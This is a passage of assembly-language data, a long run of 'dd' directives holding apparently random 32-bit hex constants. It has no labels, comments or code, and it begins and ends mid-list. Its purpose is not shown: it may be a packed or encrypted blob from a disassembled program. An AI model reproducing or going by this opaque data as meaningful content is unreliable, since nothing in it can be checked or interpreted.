0F505C88Dh, 0EBD7792Dh dd 0EDE00479h, 0ACB2F7ABh, 0DF2DF904h, 64D29E7h, 6105FFEEh dd 0E3B07DAAh, 18E78BB6h, 0FCADA14Fh, 8F27C7E0h, 0D134B6A1h dd 79C65C7h, 0B03877CDh, 0DD0645A3h, 16B3ACF8h, 0FB9B4EC4h dd 0F402E73Ah, 0DA8BE086h, 85444FC7h, 634522E4h, 923A700Dh dd 0E2C72FADh, 0EDDCC571h, 4D6BE7B6h, 0D802C7BAh, 0E05DE0D7h dd 3419BBEDh, 0D746E4F3h, 8F90DAADh, 0ADDCC7E8h, 45657E71h dd 0A7ADA299h, 4645E0F0h, 93656DF0h, 0ED444440h, 73F7216Dh dd 2D9DF3E7h, 5D2A603Fh, 59F4935Ch, 63978CD7h, 0F747AD97h dd 0C7844774h, 0B6C7B8C0h, 0BCF607C0h, 0C47A227Ch, 0DFC2E544h dd 476DEEC7h, 0F7F88BC5h, 898B6525h, 6BA39C34h, 39ECC761h dd 78C002B9h, 0E3ADE3C6h, 817525D7h, 83FFF2B7h, 0A4714D63h dd 6DD7E142h, 2DCDC65Dh, 78B4E719h, 59B2787Bh, 0C7737A85h dd 939C84CDh, 0D0446445h, 0B45F21C1h, 0F39CA3F0h, 5D6FFEDFh dd 96ED6776h, 84E076F7h, 0C70772D6h, 9C3B8C11h, 0A9D7072Dh dd 0ADC0C741h, 4961D0ABh, 0AB2D4222h, 0A965ADA3h, 0E7BC72BDh dd 93A1452Ah, 6DD7E4ADh, 0F7C9C479h, 65A5E73Ah, 0DFB6F184h dd 0C57967D7h, 0E774BCF1h, 0BA78E007h, 537361ADh, 0FFB0A22Eh dd 0FD053B1h, 0E334BC0Dh dd 214129E7h, 0F79F2DA9h, 6D2D6128h, 0ADF7E4ADh, 0ADD0C641h dd 0E070F725h, 0E7ADA529h, 0C66167D7h, 0F7E2ADCFh, 0D284416Ch dd 0E9D79B2Dh, 0B5B35B51h, 556BA031h, 30C9D045h, 86716B61h dd 11F43FF2h, 0E88569E2h, 2A9180BAh, 0B7F60479h, 41A9C7DFh dd 796DAC01h, 85616B51h, 92B5BFD4h, 0ED849011h, 0E481EFEDh dd 0ADBE0141h, 6C8433AEh, 0E6B4A5CEh, 0ACF401D7h, 0F7E7AD98h dd 0F1C47966h, 68F707EDh, 0EDE00469h, 6528E7DFh, 38BCEB47h dd 0E9C0D4D7h, 0F7D9ED8Eh, 0F5047166h, 1E739EDh, 0ED9E69BCh dd 496DD712h, 0E3ADD0C6h, 0C5E8C5D7h, 0F7DF76F2h, 7F3859A5h dd 0C112EF0h, 0FCDC0640h, 7DE1E71Fh, 382D8D4Ah, 4C7CF0D7h dd 0D705ED91h, 0F5854522h, 82E7A474h, 6DA6FC48h, 69A5E714h dd 0B3ADDEC7h, 8859E11Fh, 1FE6DA8h, 0F3C5D47Dh, 6AF725ADh dd 0F4CD8479h, 6038E7DDh, 17349743h, 45696BE7h, 0D7070CE8h dd 0E48449E9h, 59C7E6F6h, 2D946D57h, 516FF003h, 2A418215h dd 45FC0521h, 6DE0FCDCh, 0B3B54DEDh, 67F7F8CFh, 0ADDBC769h dd 69E713B3h, 4176D7C7h, 0C5B49D01h, 0C7EBB7F1h, 0E2C55DA2h dd 0AD13BBC7h, 37062851h, 5D2FF750h, 4DADBA8Bh, 7C5BA19h dd 200F4ECFh, 472FF50Fh, 0FA454BF6h, 6DB1AEE0h, 0F035935Eh dd 0FBEDE104h, 0C5596BD0h, 51CB7AF0h, 0DEC575A1h, 0DF415657h dd 6AA8EDFh, 4876F1DFh, 0E22DD344h, 479E5D7h, 0F715B7D5h dd 0D305696Dh, 70735406h, 0B7DA0644h, 0D8CDA1B4h, 63EDA92Ch dd 0C665E6C0h, 0F715ADFAh, 0EC0659EDh, 0A7E741ADh, 0ADD3C541h dd 596BF7A4h, 0AA6DCC85h, 85552AD2h, 0C7E337C6h, 0DDC56854h dd 0A0E7B32Dh, 0EDE9041Eh, 61E5F7C9h, 146DAE74h, 4F43511h dd 517EEDF7h, 0E0C4F87Bh, 393BFEDh, 6BAE0C8h, 3F92F7B3h dd 4D36DD44h, 0EEE0DCC0h, 0A1A33F7Eh, 0BFA141A4h, 41316A31h dd 0B4A597F0h, 6563D7E1h, 8DEDF9C6h, 0C569E4A1h, 21A5F6ECh dd 69E975E4h, 5C41F0CEh, 0BAF887E8h, 4924437Ch, 14B6790Bh dd 0EA781301h, 0E72FFE98h, 0A922ACB0h, 3BC765F7h, 0EDD24648h dd 0EB9FBD20h, 0ACBF43A1h, 7699ABD7h, 91EF36FEh, 0DB4761E6h dd 0A2A8248Eh, 75ACD59h, 6B152E0Fh, 7AED9C22h, 897DA4E7h dd 0C7426D86h, 0F1C47C31h, 0A9D72FEDh, 0EDA9795Dh, 0D4B501EFh dd 0BA6DE6C5h, 4FCDCC7h, 0D731EDD8h, 0CC845D6Dh, 0E4E71BB7h dd 0ADEBC751h, 8898C7E4h, 1FEDF4C7h, 86E0FCC7h, 0F733B8C8h dd 0EC45CBFCh, 0A8D725F6h, 0ADF0C569h, 6DE0E7E6h, 16EDE684h dd 0C5C87CD7h, 0B8F06DC1h, 0B5632CF3h, 5A6327ADh, 0FFB7C2DCh dd 0C03DBC6Ah, 0B4F985A8h, 8575E1B1h, 0D7B7BEFEh, 0E1C6E310h dd 0A5E754EDh, 0C7B02141h, 68D941F0h, 5A2DDAC7h, 74C0FAD7h dd 0D7B82D8Dh, 0BDF014F0h, 0FBD739EDh, 0F6F604FCh, 0ECCBD756h dd 1FBCF647h, 0B6127F7h, 0C7F831B4h, 82B26564h, 0B0C7A0F6h dd 0AD96B42Ch, 65A99141h, 2774F084h, 651AF63h, 0F7E6F8E4h dd 0B18E49ADh, 0EC51E6B7h, 0BCBC8E75h, 6564D714h, 0D32D9274h dd 7C79AC7h, 4D746DFAh, 0DBC64124h, 0E7E7DEBEh, 0AD18CC59h dd 7040F7E1h, 0D0B2B517h, 477D6BE7h, 0ADEE2DDEh, 86C0C003h dd 552676Dh, 0F2D5C788h, 61AEF7C4h, 0F42D4D0Dh, 74077D7h dd 0E72F81C0h, 0EA054969h, 0A413602Dh, 8BFA4779h, 6877D7AEh dd 73B0FFC5h, 0C655ED50h, 0F715C7EAh, 8CE249E8h, 0E2D7179Bh dd 2DBEB549h, 45E59038h, 24BCEC86h, 42A02E7h, 83B7EDEEh dd 0BD19F06Ah, 28D7252Dh, 2DFE4449h, 45E0D7E2h, 822DF746h dd 0F9DC76F7h, 0B0B9C658h, 0A329DCDFh, 0A9E0B3F4h, 39856D98h dd 2081E297h, 70B6DC84h, 0C6B3C8E7h, 2DAAFBEFh, 0AC9EE492h dd 7CF2C871h, 0EDDC46C4h, 0E0165E90h, 0BBBBAC9Ch, 97A16DF0h dd 3D6B2DA0h, 0CF873C6Ch, 0D3DC426Dh, 73B91424h, 5D6DF0BBh dd 7A33E984h, 0C53460F7h, 0E7532DCCh, 811744B4h, 6CE7DFFAh dd 344E094Dh, 8314D7BFh, 266DE046h, 6D55214Dh, 92052DA4h dd 0D284484Eh, 4950B72Dh, 30D9C410h, 79E2D714h, 876DEE04h dd 3F716D90h, 0D7E46D68h, 0AEA465E4h, 6BE7576Dh, 0BCCD0779h dd 0E938Dh, 577A569h, 2F8B4892h, 0D783ADBCh, 0B516C40Eh dd 6551BB79h, 878FDD4Dh, 5520C7A5h, 0AC71B46Dh, 0B35DA8A1h dd 0F719FE84h, 0F605CC42h, 6B9169BCh, 3B94EE6Dh, 0B897C7B6h dd 0E7709EF6h, 0C645E5D7h, 11F8B2DCh, 0DDC661E5h, 0CF7B3CEh dd 3FC0864Fh, 0E094E2F9h, 12EDCE84h, 0EBB052F7h, 8DFFADA1h dd 5B2C98AEh, 0E99159F6h, 0EDF44645h, 0AB1F8331h, 0F02DDBC5h dd 46F47141h, 0A18DFCDCh, 612D4D24h, 0FD70683h, 67ADCFABh dd 0B4E873C1h, 2576F7ABh, 0C57DA991h, 0C7C0ADDDh, 17ADECB9h dd 81D77B36h, 3FC00648h, 3AB1F7B1h, 0B86DEC84h, 47F040D7h dd 4D7F7EF8h, 95AAC8D3h, 36D7E6B0h, 0BCE744D4h, 41A2C7DFh dd 44D4C506h, 0AFE0F555h, 0F71E6D5Dh, 9DC05D62h, 0C683716Dh dd 87B4C98Ch, 6929C705h, 512D9BFFh, 8C416AB0h, 0D7BA6DACh dd 0BBA8D4B2h, 0A7F71F74h, 2DF70569h, 0FC57F77Fh, 19B2C5C6h dd 0C4596DD7h, 207CEDFDh, 0C886612Bh, 0A03124ADh, 0EDDE4655h dd 6DE2D755h, 0F32D9B35h, 0C66D67D7h, 0D7D7EDDEh, 916859A2h dd 0B3C767EDh, 0EDA4EAFFh, 496F71DBh, 0B37EFB87h, 45796B50h dd 6296FAC1h, 0B54341E1h, 0E5420AADh, 6DF54645h, 0D4FAA39Ch dd 0CBADFC46h, 855965D7h, 6175ADE5h, 0F846C470h, 20F7077Ch dd 88C64655h, 7290D723h, 0ADBE8B75h, 84641671h, 0E76E73DCh dd 0B3CB240Eh, 29D707C4h, 0ADD44645h, 9A4BE75Bh, 326DECC6h dd 4B8A0C7h, 0C7DFEDFDh, 875C7120h, 5AAB6FE4h, 0F0CDC450h dd 45A0C758h, 352D8DA1h, 847C06F7h, 0F7B7B7DCh, 0B94F75A9h dd 33E7B974h, 0B0CA069Ch, 0A7F2C7B5h, 0D1B8D285h, 847566F7h dd 0C779F4D3h, 9A0C4DA4h, 61B1F4B8h, 32E88575h, 7D21E72Bh dd 8471BC21h, 0B4D88DE0h, 93E884A2h, 9221F087h, 0F5D0E71h dd 0ADCB4644h, 2469B36Fh, 0EFAD34B6h, 17C00171h, 0E7BE8262h dd 0EAC6C20Eh, 6BD7D9F9h, 86EEC549h, 0FFF4E750h, 2BEDF9C6h dd 470B6F7h, 0C7722DCAh, 0D6856F08h, 0F92A4F6h, 2D9F4B7Ch dd 1041C7DBh, 4EB72E4Eh, 8EE249ECh, 6FCA6D64h, 0A0AE5125h dd 6B659627h, 27F28761h, 49A2E7CBh, 1ABCEB04h, 8069A9E7h dd 815EB29Ch, 0B8A3CBB3h, 0C5834FB4h, 0ED548DF4h, 84993CEAh dd 0E1EDCD46h, 7E5D2A93h, 915E6DA6h, 0C04688DCh, 2BA1822Dh dd 0EDEC4649h, 4166713Eh, 60743B4Eh, 9AD03091h, 376ED81h dd 3061CDF7h, 667312C6h, 0AD91A35Dh, 51EDD7A3h, 97EDE944h dd 2ED49230h, 0E75E6D66h, 986C5924h, 1D23E7EDh, 2DC20470h dd 0BC363249h, 76B59EE8h, 0C85DE293h, 3970ED35h, 29A8D33Ch dd 0A2E7E676h, 0F4C74559h, 0D403D7E1h, 0DD47D987h, 4ED45201h dd 63A62D8Eh, 0D94753DDh, 0E42D4747h, 6D3DCB59h, 5B5CE715h dd 8CE4808Ah, 4616E2Dh, 0C76606F0h, 0B2287E11h, 76E7D9A6h dd 76544AD8h, 59252358h, 9AED9D6Ch, 0F5F49E0Fh, 0C7B74EE5h dd 0B40DB5E4h, 0E7D7E84Eh, 0E4C0C595h, 4163CEE8h, 2D6D4FE8h dd 0C7F3B3C2h, 0E7F82DECh, 99AE34AEh, 0F7E758EDh, 0F7EFE36Bh dd 7DA56103h, 5D2D4DA1h, 6165AAD7h, 0A0092D93h, 0D1C56165h dd 4FC767ADh, 2DFC46C7h, 0EBBBC78Ch, 8787BB13h, 0C74DE053h dd 0D7072DFCh, 0FD847D25h, 6DC7A134h, 6DEFC545h, 6DE8C711h dd 48EDEA46h, 0C5D44CD7h dd 0C760EDEDh, 0EFC5E8CDh, 6AF7052Dh, 0EDAD6259h, 59A4C7FAh dd 5EDE206h, 645E5E7h, 0D726ADD1h, 0D4C5796Dh, 67C7E76Dh dd 2DF7C64Dh, 24E9C71Fh, 0E26DED85h, 84885FE7h, 0C7B1CEF0h dd 0D284B06Ah, 73F766F4h, 0B2D08684h, 45EDD7A1h, 0B43ECF06h dd 45D6AE7h, 0C7C9EDE3h, 0E1C6A0B4h, 0E9C74777h, 0EDDEC749h dd 756D02BEh, 29EDF285h, 917169F7h, 0E76FEDABh, 0B0364569h dd 6B8070F8h, 2D9D616Dh, 716DA2A4h, 0FA2DDA84h, 0C75167D7h dd 0F7A5ADF2h, 0EF85696Dh, 0B4C7B26Dh, 36ABBF90h, 75A5E747h dd 36B083F0h, 866D699Eh, 0B2A02DC5h, 0CD86EC13h, 0E8E7672Dh dd 6DDBC559h, 7D6DF715h, 8777E1C5h, 845925C7h, 334CB0E0h dd 8D39EC30h, 6CE7262Dh, 0ADB2A165h, 61E0A160h, 222D8DB3h dd 2D65AFE7h, 7023ED75h, 0BAE5656Eh, 6DE760BBh, 0EDF5C575h dd 6166D7F5h, 58ADD7C6h, 0FE796DF7h, 2DA0F4A9h, 9513E87Ch dd 0AA233234h, 2D992265h, 0C0CD839Eh, 932D922Dh, 0C74DA0C7h dd 0A182EDE2h, 0E105452Ah, 0A2F769EDh, 70D1055Dh, 6966F7F5h dd 0D9F8DFC5h, 4565A283h, 0F7386DE8h, 0D4C5F474h, 35E7ACEDh dd 0B092E1A8h, 7D66C7E1h, 66ADD0C5h, 31492AD7h, 8128F3AAh dd 0DEC4FC3Bh, 0E2C725EDh, 34C84669h, 7966D7DBh, 0A7AD93B2h dd 6210B8C7h, 92112D99h, 0E4069405h, 22F785ADh, 2DDD0655h dd 49E242A4h, 0D334C847h, 0B2F47EB0h, 9D47ADBBh, 0FE058031h dd 50C72E47h, 0ADD9C748h, 656D90A2h, 47EDE184h, 54124E7h dd 0D7E96DEEh, 0DA05AC34h, 0A5E7F52Dh, 0ADDDC761h, 0C40091B7h dd 14EDA23Dh, 33B8C3D7h, 6343AD64h, 0F2046DA4h, 6091AC2Dh dd 6D9D8C5Dh, 0F7FCE711h, 0E12DE4C6h, 4655EDB1h, 0D7676DE1h dd 0C184FCF5h, 33210EB7h, 0ADCB04F0h, 65A5E7FFh, 846DA881h dd 5E79E2E7h, 0F71A3385h, 0F50745A4h, 0ED91356Dh, 2D9A2871h dd 4DEDE7FFh, 94AD8F41h, 4445E5D0h, 0E7C5FCCFh, 0A9E132CFh dd 6B615733h, 0B9C58649h, 70C8A129h, 816DD985h, 0BB40F1D7h dd 0C7912D8Dh, 48627DACh, 7FF730B6h, 36ABA180h, 4167A15Dh dd 0AFFCE605h, 6716B61h, 0E7DFB9C5h, 0AE5465EAh, 6BF7146Dh dd 0C2F2477Dh, 49AFE7A0h, 0D9ADB35Fh, 5F8B88B1h, 0E7A86DAEh dd 5DB97D2Fh, 0EBA1A42Dh, 0ADCF8465h, 94CFE7F5h, 0F1FFDB44h dd 58B45CC7h, 0D7DCAD98h, 0C3867D2Ah, 2EF785ADh, 0AD687941h dd 79A2E773h, 9F70D1C5h, 0C16DA3C7h, 0D7CF3488h, 0C5C569E0h dd 6AE70BCAh, 0ADB6414Dh, 5DA260CDh, 0A8D28926h, 98885620h dd 0A125AD60h, 0E70533D1h, 0AED726FCh, 0ADDFC771h, 0A4F612F2h dd 0DD2DE4C7h, 0C569E5D7h, 0F7072DDEh, 0F9C6452Ch, 0C4C78782h dd 0EDFB46C4h, 0E4B3429Dh, 7CEDE506h, 751EDD7h, 0A11C82D9h dd 0C2C6C4FAh, 0D773A5B6h, 0F7CD4507h, 92D3E7DEh, 252D8962h dd 856560E7h, 21389ADCh, 0CF45452Bh, 0B82089B4h, 30F10580h dd 59A8F779h, 226DAEDBh, 4596DD7h, 0F725EDE1h, 0F8467520h dd 6EE7BAB4h, 2DEF4645h, 0EB3AD780h, 0D5F7B610h, 626DA3E7h dd 2DF6D9Eh, 0B3BE14DEh, 28225DF4h, 2DE34645h, 745CE78Dh dd 0E02DA188h, 5456DF7h, 0E7AA6DEEh, 0A25F49E9h, 97E7D133h dd 6D906DB8h, 0F4472C47h, 0AD2DB239h, 86D5340Ch, 2C7DC4C1h dd 0DD047274h, 0B7D7316Dh, 6D9DA0C4h, 4178DAFh, 6BB4E286h dd 0C749A38Dh, 0F74B6DE0h, 9E6C74F7h, 6DE75AEDh, 2DCE4471h dd 59A1F7C7h, 0D933EFC5h, 855DA2C7h, 0B039F4EFh, 0E6066520h dd 6DC7D3EDh, 6DEFC569h, 6D6BD7B6h, 692DED86h, 0C7C473C7h dd 3C16EDE6h, 81BA7522h, 4E917D2Dh, 7B855C80h, 6C03E798h dd 24ED8A62h, 1374C683h, 0F7C46D2Dh, 65A37DA5h, 0ADF0EF00h dd 0B3776165h, 79E59125h, 8774FFC6h, 46C492F7h, 0AD24EDE6h dd 0B6AC677Eh, 67914DF7h, 0F6C645h, 55A8E7B8h, 0FE2D8160h dd 0C55928A1h, 0E7CE6DE1h, 90806C40h, 63C7DC33h, 0F4FDC545h dd 0D013D7D0h, 47BCB7CCh, 3F4168E7h, 0C7A30490h, 0AFF0DA7Ah dd 0C5C7DF6Dh, 2DEEC74Fh, 4568F707h, 5BEDE146h, 85C435B3h dd 0F7D56DE1h, 0E1C56DA2h, 21B0AEEDh, 31DF0665h, 5521B051h dd 84F7EAC6h, 47DE9E7h, 10BBEDFEh, 0D1C751EAh, 0BCC7A86Dh dd 0B0A900F7h, 71EA6266h, 0C72DAD3Ch, 549A4E7h, 0C71EADD7h dd 8F0DF0F3h, 29A111EDh, 2DEAC569h, 47191F8h, 6936AB68h dd 83E09370h, 0F7C06DADh, 50A37D24h, 8340BEADh, 0F37D63F8h dd 61689147h, 0D2ADE0C5h, 45085ED7h, 514CDDh, 0F1C7ECBBh dd 0F0836DADh, 6DE24644h, 0F475E70Dh, 0DF2DAD61h, 8F5D22D7h dd 0F7B37FA2h, 0FF844960h, 79D8CA66h, 0BEFF4537h, 5968D729h dd 0E84CF507h, 6B41D91h, 0D7942DCDh, 9082616Ah, 0EDF731F6h dd 6DC5C67Dh, 0FC75E744h, 0D1ADF684h, 85B00771h, 3C606DD1h dd 0F3857521h, 209119ADh, 37427E45h, 7B4BC7CDh, 0CBEDA4F1h dd 0C4A37833h, 0F725EDD9h, 0E5C749E9h, 67F7F0ADh, 37B56A65h dd 792031E5h, 1CEDB112h, 424DEEB1h, 0F7A42D8Eh, 9CEE7CCAh dd 0AAA1D9FCh, 0F4FD8479h, 556BE7E0h, 6D2DDF46h, 0C4756DA1h dd 0D7DFEDF8h, 0FA0549E1h, 0E241CE2Dh, 0FBDE467Dh, 656BE705h dd 9D6DFCC4h, 0E16D6AB2h, 0F7862D91h, 0D8C7D0C8h, 8DE7DFADh dd 0F4FD85F4h, 49E0E7D2h, 0DF2DD7C7h, 8E71A3F7h, 31E7F481h dd 8502F4C5h, 0AAF7BAF2h, 2DCDC688h, 7C96C7BEh, 952D6E68h dd 0EB5D6BF7h, 0E7DBFFA6h, 0D384496Bh, 0AAA1F8FEh, 6DA6487Dh dd 5965E71Bh, 956DF1C5h, 0C6412AC7h, 0E72D4EE7h, 0D3C4E092h dd 5063ADFEh, 2DCDC4B0h, 0ECB56254h, 293FF087h, 87412880h dd 0F7B334D6h, 0D0C5E011h, 0C123F3B4h, 0F6B67D24h, 69AAE7B0h dd 40ADB4AFh, 0C4D4B56Fh, 0BFE76DC7h, 9E1C5560h, 23E7867Fh dd 6DE94575h, 7DA060C6h, 54ADB6D9h, 4E4C861h, 0E7FE37F5h dd 0CE84696Bh, 86B141ADh, 6DE3C5D8h, 7C7FE7E0h, 0ED74B1A4h dd 0A18710E7h, 0C7DFAD95h, 0F7447DADh, 63C7B374h, 31FAC445h dd 512DF7D9h, 6DADE507h, 4771EA93h, 0E7BA6DE6h, 92F76560h dd 7FE7FEBFh, 0F1B56254h, 7D6BE735h, 2B3EDE85h, 46D68E7h dd 0C7292DECh, 0F00541E8h, 0BBD7FEADh, 3CCFC6DCh, 4922A167h dd 27ADEDC7h, 0C7616921h, 3CFEEDDCh, 0EA44F4B9h, 0AED784EDh dd 0AD83424Dh, 7DE0F7ABh, 0F936EEC5h, 478CE5E7h, 0F7863CCFh dd 0DDC5556Ch, 55E73140h, 2DD104E8h, 65A8C72Bh, 0F7F0ABF5h dd 0B5949DF2h, 0C765ADA1h, 89EF656Ah, 0E2D7FEB4h, 2D0DD5C4h dd 95A4E748h, 0DDD1C1B5h, 0B5D8BCE7h, 0E7A0F449h, 0CE876DE2h dd 71C0863Fh, 34FE04D4h, 0E475C7FDh, 0FF34FEC4h, 0A1C434E7h dd 218EAD85h, 0FE055DA5h, 0ECD7C474h, 0AD8FE145h, 0C474E765h dd 0F476C844h, 0C57526C7h, 0F7F874FEh, 0AEF72C68h, 0DCF7376Dh dd 0EDE3C6FCh, 4D65E044h, 47FFC406h, 0C759E2CEh, 0D07334F6h dd 0E3C461AEh, 0E9D705EDh, 0AD95DA5Dh, 0ACA351C1h, 6DADF9C7h dd 0C768DBA3h, 0D7F82DE0h, 0CFC7C6DBh, 1BF7F236h, 0D2ACA47Ch dd 0F478900Ch, 0AADAF604h, 0B51754D7h, 1CECF189h, 905FFC54h dd 33E7F8ADh, 2DB2AFF0h, 75223028h, 33F2DB85h, 346120F0h dd 0F7F1AD60h, 0D585D45Fh, 2E8C74EDh, 0AD73B875h, 7524A1C0h dd 28BC7037h, 3945A890h, 0D2B0889Dh, 0CD459C60h, 0E702BB7Ch dd 5AA5416Dh, 41DC752h, 672DCD44h, 8F59ECF7h, 0C7F36D90h dd 89B548F7h, 6BE7F3B4h, 6DF5064Dh, 4DA32C80h, 604073BBh dd 868464C0h, 0C7DDF1E5h dd 0AD36607Bh, 0A5C71FEDh, 8823315Dh, 7D2DF7EFh, 0EE2DDDC4h dd 4445A2B1h, 0C70788DBh, 0DEC545A1h, 0E5E764EDh, 53D1879Ch dd 516B211Eh, 0E76DF9C6h, 63AC75A3h, 0E7B66DA8h, 0EE846123h dd 65E7766Dh, 0FBAEA241h, 69692052h, 0F0ADE8C5h, 0AA65E0D7h dd 0D729809Ah, 0DEC7652Ah, 22F030EDh, 0ADD10465h, 516BD7FEh dd 2BF38276h, 73512EF7h, 0D732AD56h, 0DF84947Eh, 7AE7FD78h dd 0EDBA2B3Ch, 4920238Eh, 41EDB4A3h, 0C43768C7h, 0D09CEDFAh dd 0A9A8BB29h, 0B763ADBBh, 0F4C144E4h, 75A4B0E0h, 0F179DE04h dd 63796EE7h, 0F7E2F178h, 0F04644F7h, 0D5B029ADh, 0EDAAA308h dd 2439D7BCh, 0E130B0B5h, 0C764FFF0h, 0E7E3EDD9h, 0E287BC67h dd 67E7FF73h, 74209369h, 0A0EAF7FCh, 173863Eh, 416DA771h dd 0D7B93098h, 50AF592Ch, 8EE7BF70h, 77974F14h, 6962A023h dd 5F6D356Ah, 0C569E921h, 0B22F3ECBh, 0D40455A2h, 0B9A17D51h dd 6DAC3BE8h, 8724D788h, 0DB6DF446h, 955CF8F7h, 41037458h dd 0AF024DABh, 0F4E7FBF4h, 0ED9DA3F4h, 0F474AEBBh, 0C74BE3Bh dd 444C88F7h, 0D770EDE2h, 0A6AEEC78h, 0FCC78EADh, 809772C4h dd 456291BFh, 62EDD046h, 45D43532h, 316EEDDCh, 0C905E873h dd 0A2C7DBB4h, 7FE28551h, 796AA1F8h, 0C5AD1E20h, 0C6A42691h dd 413A74E6h, 9719C417h, 0EDD71DADh, 0EDD94771h, 9870BC15h dd 9F80F805h, 0D44564C7h, 0E7EAADBAh, 66306163h, 0BCE712EDh dd 2DD806E4h, 0D07C520Eh, 4D40DD86h, 549EDB1h, 0F71550ECh dd 0D1C48B53h, 0E3B1CCEDh, 0B1C1C4A8h, 71E7E7B4h, 63ADB1E2h dd 0C45DA203h, 0C7C974F1h, 0D6C7507Ah, 7FE7E46Dh, 0EDBDA248h dd 71AAACDDh, 0DFEDBD52h, 13452CF7h, 7E61F3A6h, 0E80548FFh dd 0A2C7EDADh, 0F3E9C54Dh, 0B0E0E7DAh, 2FED85E2h, 2D801942h dd 600472BCh, 0C0454564h, 0A4A1847Bh, 0EDB1AF65h, 4DE9D779h dd 0EBB1529Ah, 0C78826D7h, 0F7182DE4h, 0D186EC80h, 6DD7E1ADh dd 74E0C65Dh, 0D8B51058h, 992D9235h, 4F0F5E7h, 3DF42DD7h dd 0D80555A3h, 65E7783Eh, 0ADD0C561h, 0D4CCE7EAh, 0DBADD705h dd 0C4696DD7h, 9111ADF1h, 89A24855h, 0E5E7A4ADh, 0B9F38565h dd 0B710E784h, 272D8DA3h, 0C6F48BDCh, 82013FCFh, 8AC0652Bh dd 18D7DBF4h, 0AD8D22ABh, 4D2AF7FCh, 0B96D9692h, 45D4379Eh dd 0C714ADC3h, 91BEE0B0h, 8FD706F6h, 6DE645E7h, 0ECB6E77Ch dd 0F1378321h, 41B83B91h, 1D474A5h, 0FDC555A1h, 0A1C714B4h dd 6DE54575h, 71EBA1A8h, 0F3AD8D5Fh, 607030E7h, 0F7EE6DA0h dd 0D407BB4Bh, 0B6603EBCh, 0F6F6C4FFh, 0FCF6A385h, 0F3F462E3h dd 0C5D4FDA1h, 0C7F57CEBh, 0FFC456FCh, 6DF7DF44h, 0B2710061h dd 0D475B10Eh, 8B64E505h, 45F4C7BDh, 0A147D4D7h, 0EF0698B8h dd 35A38774h, 0EDDD0468h, 55EAB3E1h, 872D91EDh, 0ED45A4A1h dd 0E7252D89h, 25E2ACCDh, 0F231F7ADh, 0F4F20557h, 8BDDC7EBh dd 0E93CFD45h, 4571A2A1h, 0A029CAC4h, 0CE457D6Bh, 64C2A06Dh dd 0EDF1C49Ch, 69666020h, 0B476ABECh, 0C74566E7h, 0F7ABEDE1h dd 0ED05C475h, 68D01A36h, 0EDA6C341h, 0C230912Dh, 0F1ADE6C7h dd 0C78C9CF7h, 0C73BADC0h, 83397D6Dh, 0A1413DADh, 2D93C04Dh dd 687412BBh, 8670BE36h, 0C67DA6E7h, 503AC7C6h, 0E6C67D67h dd 0A2A1EFEDh, 31F9057Dh, 4D695328h, 6AF4BE54h, 0DAC6771h dd 61812D4Eh, 9060DC3Eh, 643406Dh, 8FACEC74h, 6E8DD7A9h dd 79ED9D61h, 0ED4569C7h, 0E711F4ADh, 0FD87696Bh, 0EAE2F76Dh dd 2DD2C569h, 0A0A45D2Dh, 45FFD2C5h, 0AFDD8CC7h, 0E7FE4FC3h dd 0BFCCC10Fh, 0B661ACB0h, 0AD970F78h, 0D475F796h, 0B06DEE45h dd 0C751E7E7h, 0D78673F5h, 586061EDh, 2DF7D7B7h, 0C4D6C74Dh dd 45A0F72Fh, 456DEC06h, 0C7C08191h, 0A05BADEDh, 987E65A4h dd 7640BDF4h, 2DE7C7E0h, 6925D77Bh, 1708740h, 0C564FCF7h dd 0C1052DE2h, 0C74544F3h, 62C7DFBCh, 39FF8745h, 75ADF056h dd 2AFCDFC5h, 4565AE33h, 21FDFCDFh, 0FA468772h, 53B31ADh dd 7649A8D4h, 696D1331h, 2586EC07h, 0E869EED7h, 0E7FF3C49h dd 6CA34D26h, 0A721FD37h, 2D646361h, 6006E700h, 842D8D8Dh dd 206D6CC7h, 0D7DF4EAAh, 0D787756Ch, 0A2E786B4h, 0EDE4C57Dh dd 0B728632Ch, 97B0EA86h, 86B46751h, 7DFD2DFAh, 0EB0645AEh dd 65E78884h, 6D636361h, 51620502h, 744AE4C7h, 4445A1C7h dd 2981EDC9h, 0FA44496Bh, 5FE72E66h, 2D4D6AD7h, 70DEC7B4h dd 0CA7E53FDh, 8468993Fh, 0D7DA0EECh, 0D1C55719h, 0E62DD941h dd 0EDC1AB59h, 5563251Dh, 0A01EC885h, 86C11CD7h, 38F6DFCh dd 0CA4687E1h, 9EF2932Dh, 3EE02BD1h, 24C8F7BBh, 0FC708F68h dd 6361E42Dh, 0E7402D7Fh, 0E9C65EDFh, 2525DC6Dh, 6D1A4A51h dd 75EDD444h, 0DF417DB4h, 945D6CF7h, 0F7E1E1AEh, 64EADC36h dd 9631FD06h, 6DEB46C7h, 59EDC444h, 0D0411BF7h, 85E4BC3Dh dd 802711E3h, 0E34444FFh, 2DD7F261h, 0F48C610Ch, 0BBEAC784h dd 86F4884Dh, 61D817F7h, 41C5F493h, 0DBC6A7ABh, 83E78474h dd 0EDB199B4h, 0F8F11929h, 6C3F6CCBh, 858DADC7h, 0E705C0E4h dd 0B1E3CA5Dh, 0A4A062EDh, 0ADB52D79h, 7DA57397h, 40ADCCF7h dd 764C9BE7h, 0F7990695h, 6CEE5DACh, 0CD0075F4h, 0EDF5C6F4h dd 0A4FEC72Bh, 20AD9621h, 86F1C6C7h, 0DA46DC2h, 89986126h dd 0E2416AADh, 6DEE4641h, 0EB9C6114h, 0DFEDCD04h, 50596ED7h dd 0F7547E87h, 0EA4745A1h, 6FB00FEDh, 70CEC771h, 807F9057h dd 0F6DE986h, 0C74D6BA0h, 0F79F70CEh, 0E0C67D29h, 76C7FB6Dh dd 6DA0335Ch, 4876C7BBh, 6670CE46h, 73496DD7h, 0D7DEEDAAh dd 8A7CB8F9h, 20B0153Bh, 2DAA014Dh, 75ACA00Fh, 0D36DB092h dd 7947FD7h, 0E78A38F1h, 0AD7349EAh, 61B2D0ADh, 0EDB9136Dh dd 5124B2D0h, 0C470CE87h, 0C730B8E7h, 0A00F6DF0h, 0CEC67D63h dd 0A5E7BF70h, 0B6B37349h, 4520A00Fh, 0B270CEC7h, 841C84C7h dd 0F7EFFBF3h, 8C73496Dh, 2CA249EDh, 6DB85D4Dh, 4D2D6264h dd 386DA85Dh, 0C475A1B0h, 50E678CFh, 0D3C5847Fh, 65B00FEDh dd 0EDAF534Dh, 0A47FD7A4h, 0BDBBEF44h, 442C3EC7h, 0A00F6DF5h dd 0A8DC4D21h, 21824AADh, 70CE8745h, 3041C7E8h, 6838F105h dd 53884C7h, 0A00FEDCCh, 0B0DC4DA4h, 0A44262EDh, 